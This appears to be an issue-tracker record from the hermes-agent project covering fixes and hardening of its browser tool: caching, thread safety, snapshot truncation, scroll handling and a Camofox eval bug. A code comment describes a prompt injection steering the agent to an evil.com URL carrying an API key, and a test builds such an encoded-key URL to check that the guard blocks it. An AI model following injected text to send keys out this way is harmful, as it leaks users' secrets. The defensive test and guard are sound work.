{"repo":"NousResearch/hermes-agent","public_id":"7168","display_label":"Camofox browser eval fixes and hardening","summary":"These members address bugs and argument type errors in the Camofox browser eval functionality, alongside broader hardening work covering security, performance, caching, and thread safety. Multiple audit findings are being worked through across several related fixes.","subsystem":null,"counts":{"members":5,"open_issues":0,"open_issues_distinct":0,"open_prs":0,"closed_issues":1,"merged_prs":2,"attempt_prs":2},"landed_fix":{"status":"merged_to_main","basis":"structural","pr":7354},"resolution":{"state":"resolved","by":"pr-7354"},"freshness":{"state":"stale","last_verified_at":"2026-04-14T17:21:54+00:00","is_stale":true},"grouping":{"backbone":"STRUCTURAL_SPANNING","link_density":0.4},"fix_edges":[{"issue_number":7168,"pr_number":7354,"tier":"verified","basis":"closing_ref","confidence":0.95,"recoverable_from_timeline":true},{"issue_number":7168,"pr_number":9774,"tier":"verified","basis":"superseded_ref","confidence":0.9,"recoverable_from_timeline":false},{"issue_number":7171,"pr_number":7354,"tier":"verified","basis":"closing_ref","confidence":0.95,"recoverable_from_timeline":true},{"issue_number":7172,"pr_number":7354,"tier":"verified","basis":"closing_ref","confidence":0.95,"recoverable_from_timeline":true},{"issue_number":7173,"pr_number":7354,"tier":"verified","basis":"closing_ref","confidence":0.95,"recoverable_from_timeline":true}],"members":[{"kind":"issue","number":7168,"title":"bug: _camofox_eval passes wrong argument types to _ensure_tab and _post","url":null,"state":"closed"},{"kind":"pr","number":7208,"title":"fix: correct _camofox_eval argument types for _ensure_tab and _post","url":null,"state":"closed","close_reason":{"refs":[{"kind":"pr","value":"#9774","number":9774}],"category":"implemented_elsewhere","implication":"superseded"},"merged":false},{"kind":"pr","number":7276,"title":"fix(browser): comprehensive hardening + 6 new tools — 37/70 audit findings addressed","url":null,"state":"closed","close_reason":{"refs":[{"kind":"pr","value":"#7354","number":7354}],"category":"merged_via","implication":"superseded"},"merged":false},{"kind":"pr","number":7354,"title":"fix(browser): hardening — dead code, caching, scroll perf, security, thread safety","url":null,"state":"merged","close_reason":{"category":"merged","implication":"superseded"},"merged":true,"is_fix_pr":true,"fix_tier":"verified","files_changed":["tests/tools/test_browser_hardening.py","tests/tools/test_browser_homebrew_paths.py","tools/browser_tool.py"],"fix_hunks":[{"file":"tests/tools/test_browser_hardening.py","hunks":["@@ -0,0 +1,271 @@\n+\"\"\"Tests for browser_tool.py hardening: caching, security, thread safety, truncation.\"\"\"\n+\n+import inspect\n+import os\n+from unittest.mock import MagicMock, patch\n+\n+import pytest\n+\n+\n+# ---------------------------------------------------------------------------\n+# Helpers\n+# ---------------------------------------------------------------------------\n+\n+def _reset_caches():\n+    \"\"\"Reset all module-level caches so tests start clean.\"\"\"\n+    import tools.browser_tool as bt\n+    bt._cached_agent_browser = None\n+    bt._agent_browser_resolved = False\n+    bt._cached_command_timeout = None\n+    bt._command_timeout_resolved = False\n+    # lru_cache for _discover_homebrew_node_dirs\n+    if hasattr(bt._discover_homebrew_node_dirs, \"cache_clear\"):\n+        bt._discover_homebrew_node_dirs.cache_clear()\n+\n+\n[redacted:email](autouse=True)\n+def _clean_caches():\n+    _reset_caches()\n+    yield\n+    _reset_caches()\n+\n+\n+# ---------------------------------------------------------------------------\n+# Dead code removal\n+# ---------------------------------------------------------------------------\n+\n+class TestDeadCodeRemoval:\n+    \"\"\"Verify dead code was actually removed.\"\"\"\n+\n+    def test_no_default_session_timeout(self):\n+        import tools.browser_tool as bt\n+        assert not hasattr(bt, \"DEFAULT_SESSION_TIMEOUT\")\n+\n+    def test_browser_close_schema_removed(self):\n+        from tools.browser_tool import BROWSER_TOOL_SCHEMAS\n+        names = [s[\"name\"] for s in BROWSER_TOOL_SCHEMAS]\n+        assert \"browser_close\" not in names\n+\n+\n+# ---------------------------------------------------------------------------\n+# Caching: _find_agent_browser\n+# ---------------------------------------------------------------------------\n+\n+class TestFindAgentBrowserCache:\n+\n+    def test_cached_after_first_call(self):\n+        import tools.browser_tool as bt\n+        with patch(\"shutil.which\", return_value=\"/usr/bin/agent-browser\"):\n+            result1 = bt._find_agent_browser()\n+            result2 = bt._find_agent_browser()\n+        assert result1 == result2 == \"/usr/bin/agent-browser\"\n+        assert bt._agent_browser_resolved is True\n+\n+    def test_cache_cleared_by_cleanup(self):\n+        import tools.browser_tool as bt\n+        bt._cached_agent_browser = \"/fake/path\"\n+        bt._agent_browser_resolved = True\n+        bt.cleanup_all_browsers()\n+        assert bt._agent_browser_resolved is False\n+\n+    def test_not_found_cached_raises_on_subsequent(self):\n+        \"\"\"After FileNotFoundError, subsequent calls should raise from cache.\"\"\"\n+        import tools.browser_tool as bt\n+        from pathlib import Path\n+\n+        original_exists = Path.exists\n+\n+        def mock_exists(self):\n+            if \"node_modules\" in str(self) and \"agent-browser\" in str(self):\n+                return False\n+            return original_exists(self)\n+\n+        with patch(\"shutil.which\", return_value=None), \\\n+             patch(\"os.path.isdir\", return_value=False), \\\n+             patch.object(Path, \"exists\", mock_exists):\n+            with pytest.raises(FileNotFoundError):\n+                bt._find_agent_browser()\n+        # Second call should also raise (from cache)\n+        with pytest.raises(FileNotFoundError, match=\"cached\"):\n+            bt._find_agent_browser()\n+\n+\n+# ---------------------------------------------------------------------------\n+# Caching: _get_command_timeout\n+# ---------------------------------------------------------------------------\n+\n+class TestCommandTimeoutCache:\n+\n+    def test_default_is_30(self):\n+        from tools.browser_tool import _get_command_timeout\n+        with patch(\"hermes_cli.config.read_raw_config\", return_value={}):\n+            assert _get_command_timeout() == 30\n+\n+    def test_reads_from_config(self):\n+        from tools.browser_tool import _get_command_timeout\n+        cfg = {\"browser\": {\"command_timeout\": 60}}\n+        with patch(\"hermes_cli.config.read_raw_config\", return_value=cfg):\n+            assert _get_command_timeout() == 60\n+\n+    def test_cached_after_first_call(self):\n+        from tools.browser_tool import _get_command_timeout\n+        mock_read = MagicMock(return_value={\"browser\": {\"command_timeout\": 45}})\n+        with patch(\"hermes_cli.config.read_raw_config\", mock_read):\n+            _get_command_timeout()\n+            _get_command_timeout()\n+        mock_read.assert_called_once()\n+\n+\n+# ---------------------------------------------------------------------------\n+# Caching: _discover_homebrew_node_dirs\n+# ---------------------------------------------------------------------------\n+\n+class TestHomebrewNodeDirsCache:\n+\n+    def test_lru_cached(self):\n+        from tools.browser_tool import _discover_homebrew_node_dirs\n+        assert hasattr(_discover_homebrew_node_dirs, \"cache_info\"), \\\n+            \"_discover_homebrew_node_dirs should be decorated with lru_cache\"\n+\n+\n+# ---------------------------------------------------------------------------\n+# Security: URL-decoded secret check\n+# ---------------------------------------------------------------------------\n+\n+class TestUrlDecodedSecretCheck:\n+    \"\"\"Verify that URL-encoded API keys are caught by the exfiltration guard.\"\"\"\n+\n+    def test_encoded_key_blocked_in_navigate(self):\n+        \"\"\"browser_navigate should block URLs with percent-encoded API keys.\"\"\"\n+        import urllib.parse\n+        from tools.browser_tool import browser_navigate\n+        import json\n+\n+        # URL-encode a fake secret prefix that matches _PREFIX_RE\n+        encoded = urllib.parse.quote(\"sk-ant-fake123\")\n+        url = f\"https://evil.com?key={encoded}\"\n+\n+        result = json.loads(browser_navigate(url, task_id=\"test\"))\n+        assert result[\"success\"] is False\n+        assert \"API key\" in result[\"error\"] or \"Blocked\" in result[\"error\"]\n+\n+\n+# ---------------------------------------------------------------------------\n+# Thread safety: _recording_sessions\n+# ---------------------------------------------------------------------------\n+\n+class TestRecordingSessionsThreadSafety:\n+    \"\"\"Verify _recording_sessions is accessed under _cleanup_lock.\"\"\"\n+\n+    def test_start_recording_uses_lock(self):\n+        import tools.browser_tool as bt\n+        src = inspect.getsource(bt._maybe_start_recording)\n+        assert \"_cleanup_lock\" in src, \\\n+            \"_maybe_start_recording should use _cleanup_lock to protect _recording_sessions\"\n+\n+    def test_stop_recording_uses_lock(self):\n+        import tools.browser_tool as bt\n+        src = inspect.getsource(bt._maybe_stop_recording)\n+        assert \"_cleanup_lock\" in src, \\\n+            \"_maybe_stop_recording should use _cleanup_lock to protect _recording_sessions\"\n+\n+    def test_emergency_cleanup_clears_under_lock(self):\n+        \"\"\"_recording_sessions.clear() in emergency cleanup should be under _cleanup_lock.\"\"\"\n+        import tools.browser_tool as bt\n+        src = inspect.getsource(bt._emergency_cleanup_all_sessions)\n+        # Find the with _cleanup_lock block and verify _recording_sessions.clear() is inside\n+        lock_pos = src.find(\"_cleanup_lock\")\n+        clear_pos = src.find(\"_recording_sessions.clear()\")\n+        assert lock_pos != -1 and clear_pos != -1\n+        assert lock_pos < clear_pos, \\\n+            \"_recording_sessions.clear() should come after _cleanup_lock context manager\"\n+\n+\n+# ---------------------------------------------------------------------------\n+# Structure-aware _truncate_snapshot\n+# ---------------------------------------------------------------------------\n+\n+class TestTruncateSnapshot:\n+\n+    def test_short_snapshot_unchanged(self):\n+        from tools.browser_tool import _truncate_snapshot\n+        short = '- heading \"Example\" [ref=e1]\\n- link \"More\" [ref=e2]'\n+        assert _truncate_snapshot(short) == short\n+\n+    def test_long_snapshot_truncated_at_line_boundary(self):\n+        from tools.browser_tool import _truncate_snapshot\n+        # Create a snapshot that exceeds 8000 chars\n+        lines = [f'- item \"Element {i}\" [ref=e{i}]' for i in range(500)]\n+        snapshot = \"\\n\".join(lines)\n+        assert len(snapshot) > 8000\n+\n+        result = _truncate_snapshot(snapshot, max_chars=200)\n+        assert len(result) <= 300  # some margin for the truncation note\n+        assert \"truncated\" in result.lower()\n+        # Every line in the result should be complete (not cut mid-element)\n+        for line in result.split(\"\\n\"):\n+            if line.strip() and \"truncated\" not in line.lower():\n+                assert line.startswith(\"- item\") or line == \"\"\n+\n+    def test_truncation_reports_remaining_count(self):\n+        from tools.browser_tool import _truncate_snapshot\n+        lines = [f\"- line {i}\" for i in range(100)]\n+        snapshot = \"\\n\".join(lines)\n+        result = _truncate_snapshot(snapshot, max_chars=200)\n+        # Should mention how many lines were truncated\n+        assert \"more line\" in result.lower()\n+\n+\n+# ---------------------------------------------------------------------------\n+# Scroll optimization\n+# ---------------------------------------------------------------------------\n+\n+class TestScrollOptimization:\n+\n+    def test_agent_browser_path_uses_pixel_scroll(self):\n+        \"\"\"Verify agent-browser path uses single pixel-based scroll, not 5x loop.\"\"\"\n+        import tools.browser_tool as bt\n+        src = inspect.getsource(bt.browser_scroll)\n+        assert \"_SCROLL_PIXELS\" in src, \\\n+            \"browser_scroll should use _SCROLL_PIXELS for agent-browser path\"\n+\n+\n+# ---------------------------------------------------------------------------\n+# Empty stdout = failure\n+# ---------------------------------------------------------------------------\n+\n+class TestEmptyStdoutFailure:\n+\n+    def test_empty_stdout_returns_failure(self):\n+        \"\"\"Verify _run_browser_command returns failure on empty stdout.\"\"\"\n+        import tools.browser_tool as bt\n+        src = inspect.getsource(bt._run_browser_command)\n+        assert \"returned no output\" in src, \\\n+            \"_run_browser_command should treat empty stdout as failure\"\n+\n+    def test_empty_ok_commands_is_module_level_frozenset(self):\n+        \"\"\"_EMPTY_OK_COMMANDS should be a module-level frozenset, not defined inside a function.\"\"\"\n+        import tools.browser_tool as bt\n+        assert hasattr(bt, \"_EMPTY_OK_COMMANDS\")\n+        assert isinstance(bt._EMPTY_OK_COMMANDS, frozenset)\n+        assert \"close\" in bt._EMPTY_OK_COMMANDS\n+        assert \"record\" in bt._EMPTY_OK_COMMANDS\n+\n+\n+# ---------------------------------------------------------------------------\n+# _camofox_eval bug fix\n+# ---------------------------------------------------------------------------\n+\n+class TestCamofoxEvalFix:\n+\n+    def test_uses_correct_ensure_tab_signature(self):\n+        \"\"\"_camofox_eval should pass task_id string to _ensure_tab, not a session dict.\"\"\"\n+        import tools.browser_tool as bt\n+        src = inspect.getsource(bt._camofox_eval)\n+        # Should NOT call _get_session at all — _ensure_tab handles it\n+        assert \"_get_session\" not in src, \\\n+            \"_camofox_eval should not call _get_session (removed unused import)\"\n+        # Should use body= not json_data=\n+        assert \"json_data=\" not in src, \\\n+            \"_camofox_eval should use body= kwarg for _post, not json_data=\"\n+        assert \"body=\" in src"]},{"file":"tests/tools/test_browser_homebrew_paths.py","hunks":["@@ -15,6 +15,19 @@\n     _SANE_PATH,\n     check_browser_requirements,\n )\n+import tools.browser_tool as _bt\n+\n+\n[redacted:email](autouse=True)\n+def _clear_browser_caches():\n+    \"\"\"Clear lru_cache and manual caches between tests.\"\"\"\n+    _discover_homebrew_node_dirs.cache_clear()\n+    _bt._cached_agent_browser = None\n+    _bt._agent_browser_resolved = False\n+    yield\n+    _discover_homebrew_node_dirs.cache_clear()\n+    _bt._cached_agent_browser = None\n+    _bt._agent_browser_resolved = False\n \n \n class TestSanePath:","@@ -38,7 +51,7 @@ class TestDiscoverHomebrewNodeDirs:\n     def test_returns_empty_when_no_homebrew(self):\n         \"\"\"Non-macOS systems without /opt/homebrew/opt should return empty.\"\"\"\n         with patch(\"os.path.isdir\", return_value=False):\n-            assert _discover_homebrew_node_dirs() == []\n+            assert _discover_homebrew_node_dirs() == ()\n \n     def test_finds_versioned_node_dirs(self):\n         \"\"\"Should discover node@20/bin, node@24/bin etc.\"\"\"","@@ -68,13 +81,13 @@ def test_excludes_plain_node(self):\n         with patch(\"os.path.isdir\", return_value=True), \\\n              patch(\"os.listdir\", return_value=[\"node\"]):\n             result = _discover_homebrew_node_dirs()\n-        assert result == []\n+        assert result == ()\n \n     def test_handles_oserror_gracefully(self):\n         \"\"\"Should return empty list if listdir raises OSError.\"\"\"\n         with patch(\"os.path.isdir\", return_value=True), \\\n              patch(\"os.listdir\", side_effect=OSError(\"Permission denied\")):\n-            assert _discover_homebrew_node_dirs() == []\n+            assert _discover_homebrew_node_dirs() == ()\n \n \n class TestFindAgentBrowser:"]},{"file":"tools/browser_tool.py","hunks":["@@ -50,6 +50,7 @@\n \"\"\"\n \n import atexit\n+import functools\n import json\n import logging\n import os","@@ -100,27 +101,27 @@\n )\n \n \n-def _discover_homebrew_node_dirs() -> list[str]:\n[redacted:email]_cache(maxsize=1)\n+def _discover_homebrew_node_dirs() -> tuple[str, ...]:\n     \"\"\"Find Homebrew versioned Node.js bin directories (e.g. node@20, node@24).\n \n     When Node is installed via ``brew install node@24`` and NOT linked into\n-    /opt/homebrew/bin, the binary lives only in /opt/homebrew/opt/node@24/bin/.\n-    This function discovers those paths so they can be added to subprocess PATH.\n+    /opt/homebrew/bin, agent-browser isn't discoverable on the default PATH.\n+    This function finds those directories so they can be prepended.\n     \"\"\"\n     dirs: list[str] = []\n     homebrew_opt = \"/opt/homebrew/opt\"\n     if not os.path.isdir(homebrew_opt):\n-        return dirs\n+        return tuple(dirs)\n     try:\n         for entry in os.listdir(homebrew_opt):\n             if entry.startswith(\"node\") and entry != \"node\":\n-                # e.g. node@20, node@24\n                 bin_dir = os.path.join(homebrew_opt, entry, \"bin\")\n                 if os.path.isdir(bin_dir):\n                     dirs.append(bin_dir)\n     except OSError:\n         pass\n-    return dirs\n+    return tuple(dirs)\n \n # Throttle screenshot cleanup to avoid repeated full directory scans.\n _last_screenshot_cleanup_by_dir: dict[str, float] = {}","@@ -132,28 +133,39 @@ def _discover_homebrew_node_dirs() -> list[str]:\n # Default timeout for browser commands (seconds)\n DEFAULT_COMMAND_TIMEOUT = 30\n \n-# Default session timeout (seconds)\n-DEFAULT_SESSION_TIMEOUT = 300\n-\n # Max tokens for snapshot content before summarization\n SNAPSHOT_SUMMARIZE_THRESHOLD = 8000\n \n+# Commands that legitimately return empty stdout (e.g. close, record).\n+_EMPTY_OK_COMMANDS: frozenset = frozenset({\"close\", \"record\"})\n+\n+_cached_command_timeout: Optional[int] = None\n+_command_timeout_resolved = False\n+\n \n def _get_command_timeout() -> int:\n     \"\"\"Return the configured browser command timeout from config.yaml.\n \n     Reads ``config[\"browser\"][\"command_timeout\"]`` and falls back to\n-    ``DEFAULT_COMMAND_TIMEOUT`` (30s) if unset or unreadable.\n+    ``DEFAULT_COMMAND_TIMEOUT`` (30s) if unset or unreadable.  Result is\n+    cached after the first call and cleared by ``cleanup_all_browsers()``.\n     \"\"\"\n+    global _cached_command_timeout, _command_timeout_resolved\n+    if _command_timeout_resolved:\n+        return _cached_command_timeout  # type: ignore[return-value]\n+\n+    _command_timeout_resolved = True\n+    result = DEFAULT_COMMAND_TIMEOUT\n     try:\n         from hermes_cli.config import read_raw_config\n         cfg = read_raw_config()\n         val = cfg.get(\"browser\", {}).get(\"command_timeout\")\n         if val is not None:\n-            return max(int(val), 5)  # Floor at 5s to avoid instant kills\n+            result = max(int(val), 5)  # Floor at 5s to avoid instant kills\n     except Exception as e:\n         logger.debug(\"Could not read command_timeout from config: %s\", e)\n-    return DEFAULT_COMMAND_TIMEOUT\n+    _cached_command_timeout = result\n+    return result\n \n \n def _get_vision_model() -> Optional[str]:","@@ -239,6 +251,8 @@ def _get_cdp_override() -> str:\n _cloud_provider_resolved = False\n _allow_private_urls_resolved = False\n _cached_allow_private_urls: Optional[bool] = None\n+_cached_agent_browser: Optional[str] = None\n+_agent_browser_resolved = False\n \n \n def _get_cloud_provider() -> Optional[CloudBrowserProvider]:","@@ -415,7 +429,7 @@ def _emergency_cleanup_all_sessions():\n         with _cleanup_lock:\n             _active_sessions.clear()\n             _session_last_activity.clear()\n-        _recording_sessions.clear()\n+            _recording_sessions.clear()\n \n \n # Register cleanup via atexit only.  Previous versions installed SIGINT/SIGTERM","@@ -617,15 +631,6 @@ def _update_session_activity(task_id: str):\n             \"required\": [\"key\"]\n         }\n     },\n-    {\n-        \"name\": \"browser_close\",\n-        \"description\": \"Close the browser session and release resources. Call this when done with browser tasks to free up cloud browser session quota.\",\n-        \"parameters\": {\n-            \"type\": \"object\",\n-            \"properties\": {},\n-            \"required\": []\n-        }\n-    },\n     {\n         \"name\": \"browser_get_images\",\n         \"description\": \"Get a list of all images on the current page with their URLs and alt text. Useful for finding images to analyze with the vision tool. Requires browser_navigate to be called first.\",","@@ -777,10 +782,26 @@ def _find_agent_browser() -> str:\n     Raises:\n         FileNotFoundError: If agent-browser is not installed\n     \"\"\"\n+    global _cached_agent_browser, _agent_browser_resolved\n+    if _agent_browser_resolved:\n+        if _cached_agent_browser is None:\n+            raise FileNotFoundError(\n+                \"agent-browser CLI not found (cached). Install it with: \"\n+                f\"{_browser_install_hint()}\\n\"\n+                \"Or run 'npm install' in the repo root to install locally.\\n\"\n+                \"Or ensure npx is available in your PATH.\"\n+            )\n+        return _cached_agent_browser\n+\n+    # Note: _agent_browser_resolved is set at each return site below\n+    # (not before the search) to prevent a race where a concurrent thread\n+    # sees resolved=True but _cached_agent_browser is still None.\n \n     # Check if it's in PATH (global install)\n     which_result = shutil.which(\"agent-browser\")\n     if which_result:\n+        _cached_agent_browser = which_result\n+        _agent_browser_resolved = True\n         return which_result\n \n     # Build an extended search PATH including Homebrew and Hermes-managed dirs.","@@ -800,21 +821,29 @@ def _find_agent_browser() -> str:\n         extended_path = os.pathsep.join(extra_dirs)\n         which_result = shutil.which(\"agent-browser\", path=extended_path)\n         if which_result:\n+            _cached_agent_browser = which_result\n+            _agent_browser_resolved = True\n             return which_result\n \n     # Check local node_modules/.bin/ (npm install in repo root)\n     repo_root = Path(__file__).parent.parent\n     local_bin = repo_root / \"node_modules\" / \".bin\" / \"agent-browser\"\n     if local_bin.exists():\n-        return str(local_bin)\n+        _cached_agent_browser = str(local_bin)\n+        _agent_browser_resolved = True\n+        return _cached_agent_browser\n     \n     # Check common npx locations (also search extended dirs)\n     npx_path = shutil.which(\"npx\")\n     if not npx_path and extra_dirs:\n         npx_path = shutil.which(\"npx\", path=os.pathsep.join(extra_dirs))\n     if npx_path:\n-        return \"npx agent-browser\"\n+        _cached_agent_browser = \"npx agent-browser\"\n+        _agent_browser_resolved = True\n+        return _cached_agent_browser\n     \n+    # Nothing found — cache the failure so subsequent calls don't re-scan.\n+    _agent_browser_resolved = True\n     raise FileNotFoundError(\n         \"agent-browser CLI not found. Install it with: \"\n         f\"{_browser_install_hint()}\\n\"","@@ -935,7 +964,7 @@ def _run_browser_command(\n         path_parts = [p for p in existing_path.split(\":\") if p]\n         candidate_dirs = (\n             [hermes_node_bin]\n-            + _discover_homebrew_node_dirs()\n+            + list(_discover_homebrew_node_dirs())\n             + [p for p in _SANE_PATH.split(\":\") if p]\n         )\n ","@@ -994,15 +1023,15 @@ def _run_browser_command(\n             level = logging.WARNING if returncode != 0 else logging.DEBUG\n             logger.log(level, \"browser '%s' stderr: %s\", command, stderr.strip()[:500])\n         \n-        # Log empty output as warning — common sign of broken agent-browser\n-        if not stdout.strip() and returncode == 0:\n-            logger.warning(\"browser '%s' returned empty stdout with rc=0. \"\n-                           \"cmd=%s stderr=%s\",\n-                           command, \" \".join(cmd_parts[:4]) + \"...\",\n-                           (stderr or \"\")[:200])\n-\n         stdout_text = stdout.strip()\n \n+        # Empty output with rc=0 is a broken state — treat as failure rather\n+        # than silently returning {\"success\": True, \"data\": {}}.\n+        # Some commands (close, record) legitimately return no output.\n+        if not stdout_text and returncode == 0 and command not in _EMPTY_OK_COMMANDS:\n+            logger.warning(\"browser '%s' returned empty output (rc=0)\", command)\n+            return {\"success\": False, \"error\": f\"Browser command '{command}' returned no output\"}\n+\n         if stdout_text:\n             try:\n                 parsed = json.loads(stdout_text)","@@ -1114,20 +1143,34 @@ def _extract_relevant_content(\n \n \n def _truncate_snapshot(snapshot_text: str, max_chars: int = 8000) -> str:\n-    \"\"\"\n-    Simple truncation fallback for snapshots.\n-    \n+    \"\"\"Structure-aware truncation for snapshots.\n+\n+    Cuts at line boundaries so that accessibility tree elements are never\n+    split mid-line, and appends a note telling the agent how much was\n+    omitted.\n+\n     Args:\n         snapshot_text: The snapshot text to truncate\n         max_chars: Maximum characters to keep\n-        \n+\n     Returns:\n         Truncated text with indicator if truncated\n     \"\"\"\n     if len(snapshot_text) <= max_chars:\n         return snapshot_text\n-    \n-    return snapshot_text[:max_chars] + \"\\n\\n[... content truncated ...]\"\n+\n+    lines = snapshot_text.split('\\n')\n+    result: list[str] = []\n+    chars = 0\n+    for line in lines:\n+        if chars + len(line) + 1 > max_chars - 80:  # reserve space for note\n+            break\n+        result.append(line)\n+        chars += len(line) + 1\n+    remaining = len(lines) - len(result)\n+    if remaining > 0:\n+        result.append(f'\\n[... {remaining} more lines truncated, use browser_snapshot for full content]')\n+    return '\\n'.join(result)\n \n \n # ============================================================================","@@ -1148,8 +1191,11 @@ def browser_navigate(url: str, task_id: Optional[str] = None) -> str:\n     # Secret exfiltration protection — block URLs that embed API keys or\n     # tokens in query parameters. A prompt injection could trick the agent\n     # into navigating to https://evil.com/steal?key=sk-ant-... to exfil secrets.\n+    # Also check URL-decoded form to catch %2D encoding tricks (e.g. sk%2Dant%2D...).\n+    import urllib.parse\n     from agent.redact import _PREFIX_RE\n-    if _PREFIX_RE.search(url):\n+    url_decoded = urllib.parse.unquote(url)\n+    if _PREFIX_RE.search(url) or _PREFIX_RE.search(url_decoded):\n         return json.dumps({\n             \"success\": False,\n             \"error\": \"Blocked: URL contains what appears to be an API key or token. \"","@@ -1415,13 +1461,15 @@ def browser_scroll(direction: str, task_id: Optional[str] = None) -> str:\n             \"error\": f\"Invalid direction '{direction}'. Use 'up' or 'down'.\"\n         }, ensure_ascii=False)\n \n-    # Repeat the scroll 5 times to get meaningful page movement.\n-    # Most backends scroll ~100px per call, which is barely visible.\n-    # 5x gives roughly half a viewport of travel, backend-agnostic.\n-    _SCROLL_REPEATS = 5\n+    # Single scroll with pixel amount instead of 5x subprocess calls.\n+    # agent-browser supports: agent-browser scroll down 500\n+    # ~500px is roughly half a viewport of travel.\n+    _SCROLL_PIXELS = 500\n \n     if _is_camofox_mode():\n         from tools.browser_camofox import camofox_scroll\n+        # Camofox REST API doesn't support pixel args; use repeated calls\n+        _SCROLL_REPEATS = 5\n         result = None\n         for _ in range(_SCROLL_REPEATS):\n             result = camofox_scroll(direction, task_id)","@@ -1429,14 +1477,12 @@ def browser_scroll(direction: str, task_id: Optional[str] = None) -> str:\n \n     effective_task_id = task_id or \"default\"\n \n-    result = None\n-    for _ in range(_SCROLL_REPEATS):\n-        result = _run_browser_command(effective_task_id, \"scroll\", [direction])\n-        if not result.get(\"success\"):\n-            return json.dumps({\n-                \"success\": False,\n-                \"error\": result.get(\"error\", f\"Failed to scroll {direction}\")\n-            }, ensure_ascii=False)\n+    result = _run_browser_command(effective_task_id, \"scroll\", [direction, str(_SCROLL_PIXELS)])\n+    if not result.get(\"success\"):\n+        return json.dumps({\n+            \"success\": False,\n+            \"error\": result.get(\"error\", f\"Failed to scroll {direction}\")\n+        }, ensure_ascii=False)\n \n     return json.dumps({\n         \"success\": True,","@@ -1607,11 +1653,11 @@ def _browser_eval(expression: str, task_id: Optional[str] = None) -> str:\n \n def _camofox_eval(expression: str, task_id: Optional[str] = None) -> str:\n     \"\"\"Evaluate JS via Camofox's /tabs/{tab_id}/eval endpoint (if available).\"\"\"\n-    from tools.browser_camofox import _get_session, _ensure_tab, _post\n+    from tools.browser_camofox import _ensure_tab, _post\n     try:\n-        session = _get_session(task_id or \"default\")\n-        tab_id = _ensure_tab(session)\n-        resp = _post(f\"/tabs/{tab_id}/eval\", json_data={\"expression\": expression})\n+        tab_info = _ensure_tab(task_id or \"default\")\n+        tab_id = tab_info.get(\"tab_id\") or tab_info.get(\"id\")\n+        resp = _post(f\"/tabs/{tab_id}/eval\", body={\"expression\": expression})\n \n         # Camofox returns the result in a JSON envelope\n         raw_result = resp.get(\"result\") if isinstance(resp, dict) else resp","@@ -1641,8 +1687,9 @@ def _camofox_eval(expression: str, task_id: Optional[str] = None) -> str:\n \n def _maybe_start_recording(task_id: str):\n     \"\"\"Start recording if browser.record_sessions is enabled in config.\"\"\"\n-    if task_id in _recording_sessions:\n-        return\n+    with _cleanup_lock:\n+        if task_id in _recording_sessions:\n+            return\n     try:\n         from hermes_cli.config import read_raw_config\n         hermes_home = get_hermes_home()","@@ -1662,7 +1709,8 @@ def _maybe_start_recording(task_id: str):\n         \n         result = _run_browser_command(task_id, \"record\", [\"start\", str(recording_path)])\n         if result.get(\"success\"):\n-            _recording_sessions.add(task_id)\n+            with _cleanup_lock:\n+                _recording_sessions.add(task_id)\n             logger.info(\"Auto-recording browser session %s to %s\", task_id, recording_path)\n         else:\n             logger.debug(\"Could not start auto-recording: %s\", result.get(\"error\"))","@@ -1672,8 +1720,9 @@ def _maybe_start_recording(task_id: str):\n \n def _maybe_stop_recording(task_id: str):\n     \"\"\"Stop recording if one is active for this session.\"\"\"\n-    if task_id not in _recording_sessions:\n-        return\n+    with _cleanup_lock:\n+        if task_id not in _recording_sessions:\n+            return\n     try:\n         result = _run_browser_command(task_id, \"record\", [\"stop\"])\n         if result.get(\"success\"):","@@ -1682,7 +1731,8 @@ def _maybe_stop_recording(task_id: str):\n     except Exception as e:\n         logger.debug(\"Could not stop recording for %s: %s\", task_id, e)\n     finally:\n-        _recording_sessions.discard(task_id)\n+        with _cleanup_lock:\n+            _recording_sessions.discard(task_id)\n \n \n def browser_get_images(task_id: Optional[str] = None) -> str:","@@ -2041,6 +2091,14 @@ def cleanup_all_browsers() -> None:\n     for task_id in task_ids:\n         cleanup_browser(task_id)\n \n+    # Reset cached lookups so they are re-evaluated on next use.\n+    global _cached_agent_browser, _agent_browser_resolved\n+    global _cached_command_timeout, _command_timeout_resolved\n+    _cached_agent_browser = None\n+    _agent_browser_resolved = False\n+    _discover_homebrew_node_dirs.cache_clear()\n+    _cached_command_timeout = None\n+    _command_timeout_resolved = False\n \n \n # ============================================================================\n"]}]},{"kind":"pr","number":9774,"title":"fix(browser): fix Camofox JS eval endpoint, userId, and package rename","url":null,"state":"merged","close_reason":{"category":"merged","implication":"superseded"},"merged":true,"is_fix_pr":true,"fix_tier":"verified","files_changed":["hermes_cli/tools_config.py","package.json","tools/browser_tool.py"],"fix_hunks":[{"file":"hermes_cli/tools_config.py","hunks":["@@ -362,7 +362,7 @@ def _run_post_setup(post_setup_key: str):\n             _print_warning(\"    Node.js not found - browser tools require: npm install (in hermes-agent directory)\")\n \n     elif post_setup_key == \"camofox\":\n-        camofox_dir = PROJECT_ROOT / \"node_modules\" / \"@askjo\" / \"camoufox-browser\"\n+        camofox_dir = PROJECT_ROOT / \"node_modules\" / \"@askjo\" / \"camofox-browser\"\n         if not camofox_dir.exists() and shutil.which(\"npm\"):\n             _print_info(\"    Installing Camofox browser server...\")\n             import subprocess","@@ -376,7 +376,7 @@ def _run_post_setup(post_setup_key: str):\n                 _print_warning(\"    npm install failed - run manually: npm install\")\n         if camofox_dir.exists():\n             _print_info(\"    Start the Camofox server:\")\n-            _print_info(\"      npx @askjo/camoufox-browser\")\n+            _print_info(\"      npx @askjo/camofox-browser\")\n             _print_info(\"    First run downloads the Camoufox engine (~300MB)\")\n             _print_info(\"    Or use Docker: docker run -p 9377:9377 -e CAMOFOX_PORT=9377 jo-inc/camofox-browser\")\n         elif not shutil.which(\"npm\"):"]},{"file":"package-lock.json","hunks":["@@ -10,11 +10,11 @@\n       \"hasInstallScript\": true,\n       \"license\": \"MIT\",\n       \"dependencies\": {\n-        \"@askjo/camoufox-browser\": \"^1.0.0\",\n+        \"@askjo/camofox-browser\": \"^1.5.2\",\n         \"agent-browser\": \"^0.13.0\"\n       },\n       \"engines\": {\n-        \"node\": \">=18.0.0\"\n+        \"node\": \">=20.0.0\"\n       }\n     },\n     \"node_modules/@appium/logger\": {","@@ -33,20 +33,19 @@\n         \"npm\": \">=8\"\n       }\n     },\n-    \"node_modules/@askjo/camoufox-browser\": {\n-      \"version\": \"1.0.12\",\n-      \"resolved\": \"https://registry.npmjs.org/@askjo/camoufox-browser/-/camoufox-browser-1.0.12.tgz\",\n-      \"integrity\": 